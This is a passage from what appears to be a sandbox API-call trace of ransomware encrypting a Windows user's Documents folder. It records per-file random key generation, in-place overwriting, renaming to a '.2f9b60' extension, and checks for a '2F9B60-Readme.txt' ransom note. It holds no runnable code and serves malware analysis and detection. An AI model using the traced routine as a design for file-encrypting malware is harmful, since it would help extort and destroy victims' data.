HALPmcxz\\Documents\\118cd199dca8a4f2f0b63") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\118cd199dca8a4f2f0b63" [0093.135] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\118cd199dca8a4f2f0b63.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\118cd199dca8a4f2f0b63.2f9b60" [0093.135] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\118cd199dca8a4f2f0b63.2f9b60", NtPathName=0x22e9f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\118cd199dca8a4f2f0b63.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce108f0 [0093.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0093.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.137] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x22e9f818, FileInformation=0x22e9f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22e9f818, FileInformation=0x22e9f828) returned 0x0 [0093.137] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x22e9f818, FileInformation=0x22e9f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.139] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.141] CloseHandle (hObject=0xcfc) returned 1 [0093.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f010 [0093.142] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.142] wcscat (in: _Dest=0x1b85f010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.142] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7849a0) returned 1 Thread: id = 517 os_tid = 0xd6c [0093.145] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lsNhUCTvU.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lsnhuctvu.pptx")) returned 0x20 [0093.145] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lsNhUCTvU.pptx", dwFileAttributes=0x20) returned 1 [0093.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lsNhUCTvU.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lsnhuctvu.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.145] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x22dff680 | out: lpFileSize=0x22dff680*=12212) returned 1 [0093.145] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x2fb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.145] ReadFile (in: hFile=0xcfc, lpBuffer=0x22dff600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22dff648, lpOverlapped=0x0 | out: lpBuffer=0x22dff600*, lpNumberOfBytesRead=0x22dff648*=0x4, lpOverlapped=0x0) returned 1 [0093.146] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0093.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0093.147] NtQuerySystemTime (in: CurrentTime=0x22dff540 | out: CurrentTime=0x22dff540*=132462176989738000) returned 0x0 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x7fc57020 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x150a1c90 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0xe802369 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x20cc2a71 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x41e1d72 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x36895aec [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x46b38d5e [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x479458f2 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0xafd5996 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x68f08ce7 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x64df316 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x13d4deeb [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x8c1190e [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x6f3fc84c [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x1f161777 [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x769ecd4d [0093.147] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x50725961 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x4a374066 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x1918571c [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x34e87d7a [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x5c2f3f02 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x62dd1051 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0xf1f80f4 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x257bb3fe [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x38cad6f8 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x56b32ed [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x4999d440 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x1417d448 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0xb23a171 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x472c5206 [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x2a6fc9d [0093.148] RtlRandomEx (in: Seed=0x22dff530 | out: Seed=0x22dff530) returned 0x2f952b51 [0093.159] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x2fb4, lpNumberOfBytesRead=0x22dff530, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22dff530*=0x2fb4, lpOverlapped=0x0) returned 1 [0093.159] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.159] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x2fb4, lpNumberOfBytesWritten=0x22dff534, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22dff534*=0x2fb4, lpOverlapped=0x0) returned 1 [0093.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0093.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0093.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0093.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f3f0 [0093.161] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.162] WriteFile (in: hFile=0xcfc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x22dff650, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x22dff650*=0x10e, lpOverlapped=0x0) returned 1 [0093.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0093.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0093.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1ced8130 [0093.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0093.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0093.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82bc20 [0093.165] sprintf (in: _Dest=0x1b82bc20, _Format="%c%c" | out: _Dest="75") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc22, _Format="%c%c" | out: _Dest="3d") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc24, _Format="%c%c" | out: _Dest="42") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc26, _Format="%c%c" | out: _Dest="82") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc28, _Format="%c%c" | out: _Dest="7b") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc2a, _Format="%c%c" | out: _Dest="29") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc2c, _Format="%c%c" | out: _Dest="3c") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc2e, _Format="%c%c" | out: _Dest="84") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc30, _Format="%c%c" | out: _Dest="69") returned 2 [0093.165] sprintf (in: _Dest=0x1b82bc32, _Format="%c%c" | out: _Dest="ae") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc34, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc36, _Format="%c%c" | out: _Dest="4d") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc38, _Format="%c%c" | out: _Dest="51") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc3a, _Format="%c%c" | out: _Dest="6a") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc3c, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc3e, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc40, _Format="%c%c" | out: _Dest="12") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc42, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc44, _Format="%c%c" | out: _Dest="86") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc46, _Format="%c%c" | out: _Dest="4a") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc48, _Format="%c%c" | out: _Dest="1b") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc4a, _Format="%c%c" | out: _Dest="ea") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc4c, _Format="%c%c" | out: _Dest="97") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc4e, _Format="%c%c" | out: _Dest="5d") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc50, _Format="%c%c" | out: _Dest="89") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc52, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc54, _Format="%c%c" | out: _Dest="41") returned 2 [0093.166] sprintf (in: _Dest=0x1b82bc56, _Format="%c%c" | out: _Dest="6f") returned 2 [0093.166] RtlInitAnsiString (in: DestinationString=0x22dff6c8, SourceString="753d42827b293c8469aeb24d516acc8a12c9864a1bea975d890a416f" | out: DestinationString="753d42827b293c8469aeb24d516acc8a12c9864a1bea975d890a416f") [0093.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x22dff698, SourceString="753d42827b293c8469aeb24d516acc8a12c9864a1bea975d890a416f", AllocateDestinationString=1 | out: DestinationString="753d42827b293c8469aeb24d516acc8a12c9864a1bea975d890a416f") returned 0x0 [0093.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ef90 [0093.167] wcscat (in: _Dest=0x1b7849a0, _Source="753d42827b293c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c" [0093.167] wcscat (in: _Dest=0x1b7849a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c.2f9b60" [0093.167] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c.2f9b60", NtPathName=0x22dff670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\753d42827b293c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce108f0 [0093.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0093.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.172] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x22dff6d8, FileInformation=0x22dff6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22dff6d8, FileInformation=0x22dff6e8) returned 0x0 [0093.172] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x22dff6d8, FileInformation=0x22dff6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7849a0) returned 1 [0093.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.174] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.176] CloseHandle (hObject=0xcfc) returned 1 [0093.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.177] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.177] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.177] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 Thread: id = 518 os_tid = 0xd70 [0093.179] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m90q4.docx")) returned 0x20 [0093.179] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx", dwFileAttributes=0x20) returned 1 [0093.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m90q4.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.180] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x224bfb80 | out: lpFileSize=0x224bfb80*=40567) returned 1 [0093.180] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x9e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.180] ReadFile (in: hFile=0xcfc, lpBuffer=0x224bfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x224bfb48, lpOverlapped=0x0 | out: lpBuffer=0x224bfb00*, lpNumberOfBytesRead=0x224bfb48*=0x4, lpOverlapped=0x0) returned 1 [0093.181] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.181] NtQuerySystemTime (in: CurrentTime=0x224bfa40 | out: CurrentTime=0x224bfa40*=132462176990206000) returned 0x0 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x2a5100b4 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x28473a99 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x3bb35c35 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4a7faf42 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x24e54615 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x21ab88c7 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x2afde0fc [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4c81d842 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x41373bd1 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x3c3865f2 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x2a579b24 [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7ba7534b [0093.181] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x64905b49 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4a5fdf8d [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4e3c246c [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x47a72d28 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x26b0a5b6 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7125fb80 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x10d47ff2 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7ce8737d [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x27da96c6 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x3372d4f1 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0xd0da911 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4c2c26c2 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7480cd37 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x17c096f9 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7f122f3f [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x31f0ea40 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x4608ea95 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x7ee23b4d [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x55e856e2 [0093.182] RtlRandomEx (in: Seed=0x224bfa30 | out: Seed=0x224bfa30) returned 0x2156f32c [0093.191] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.191] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x224bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x224bfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.191] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0093.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0093.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0093.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0093.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0093.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.192] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x224bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x224bfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0093.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7d10 [0093.194] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.194] WriteFile (in: hFile=0xcfc, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x224bfb50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x224bfb50*=0x106, lpOverlapped=0x0) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0093.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0093.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f090 [0093.196] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx" [0093.196] wcscat (in: _Dest=0x1b85f090, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx.2f9b60" [0093.196] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx.2f9b60", NtPathName=0x224bfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad5c0 [0093.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.198] RtlFreeHeap 